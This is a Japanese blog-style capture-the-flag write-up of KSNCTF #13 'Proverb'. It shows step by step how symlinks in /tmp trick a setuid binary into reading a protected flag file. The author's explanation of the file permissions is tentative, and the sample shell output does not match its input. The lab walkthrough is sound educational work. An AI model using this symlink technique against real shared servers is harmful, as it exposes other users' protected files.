KSNCTF #13 Proverb
問題
考えたこと
思考停止でいけるところまでいく
% ssh q13@ctfq.sweetduet.info -p 10022 [q13@localhost ~]$ ls -a . .. .bash_logout .bash_profile .bashrc flag.txt proverb proverb.txt readme.txt [q13@localhost ~]$ cat flag.txt cat: flag.txt: 許可がありません [q13@localhost ~]$ cat readme.txt You are not allowed to connect internet and write the home directory. If you need temporary directory, use /tmp. Sometimes this machine will be reset. [q13@localhost ~]$ ./proverb Ignorance is bliss.
readme の内容は多分前にも見た。なにかやるなら /tmp
以下でやれというやつ。
proverb
というやつを実行すると英語出てきた。bliss というのは幸福という意味で、知らぬが仏に近い英語のことわざらしい。 proverb なるほど。
[q13@localhost ~]$ ./proverb Blood is thicker than water.
もう一回実行したら変わった。血は水よりも濃い。知らなかったのでググった。なるほど。
proverb.txt
を見てみるとことわざっぽいのがいろいろ書いてあったので、proverb
はここから1行ランダムに出力してるっぽい。
[q13@localhost ~]$ mv flag.txt proverb.txt mv: try to overwrite `proverb.txt', overriding mode 0444 (r--r--r--)? n
読んだばっかりの readme を忘れてた。
[q13@localhost ~]$ cp proverb /tmp/proverb cp: `proverb' と `/tmp/proverb' は同じファイルです [q13@localhost ~]$ cp flag.txt /tmp/proverb.txt cp: `flag.txt' を 読み込み用でオープンできません: 許可がありません [q13@localhost ~]$ mv flag.txt /tmp/proverb.txt mv: try to overwrite `/tmp/proverb.txt', overriding mode 0644 (rw-r--r--)? y mv: cannot move `flag.txt' to `/tmp/proverb.txt': 許可がありません
パーミッションがないので旗のほうをコピーできない。でも /tmp/
内に proverb.txt
というファイルがあるらしい。
[q13@localhost ~]$ cd /tmp [q13@localhost tmp]$ ./proverb Please make your own subdirectory.
なるほど。
[q13@localhost tmp]$ mkdir mytmp [q13@localhost tmp]$ cd mytmp
困ったのでググったら symlink を張れって書いてあったので張ったら読めた。
[q13@localhost mytmp]$ ln -s ~/proverb proverb [q13@localhost mytmp]$ ln -s ~/flag.txt proverb.txt [q13@localhost mytmp]$ ./proverb FLAG_****************
思ったこととか
とにかく symlink を張れとしか書いてなかったので調べてみたらこんな記事見つけた。
ロリポップのサイト改ざん事件に学ぶシンボリックリンク攻撃の脅威と対策 | 徳丸浩の日記
これはレンタルサーバの問題らしいけど似たような感じがする。
[q13@localhost ~]$ ls -l 合計 28 -r-------- 6 q13a q13a 22 6月 1 05:21 2012 flag.txt ---s--x--x 7 q13a q13a 14439 6月 1 04:59 2012 proverb -r--r--r-- 1 root root 755 6月 1 04:58 2012 proverb.txt -r--r--r-- 1 root root 151 6月 1 04:48 2012 readme.txt
flag.txt
は所有者だけ読みこみ可能になってるけど、 proverb
の所有者もユーザ q13 だから読み込めるということなんだろうか。
調べるのはむずそうだったので試してみた。
% echo 'this is test' > text % ruby read.rb this is text % chmod 044 text % ruby read.rb read.rb:1:in 'read': Permission denied @ rb_sysopen - text (Errno::EACCES) % sudo useradd hoge % sudo chown hoge text % ruby read.rb this is text
# read.rb begin text = File.read 'text' puts text rescue => e puts e end
どうやらそうっぽい気がするような感じがする(?)
今まで何も考えず mv
とか cp
使ってたけど、こういうコマンドには対象のファイルとか親ディレクトリのパーミッションが関わってくるらしい。
言われてみれば当然という感じがする。なるほどという感じだった。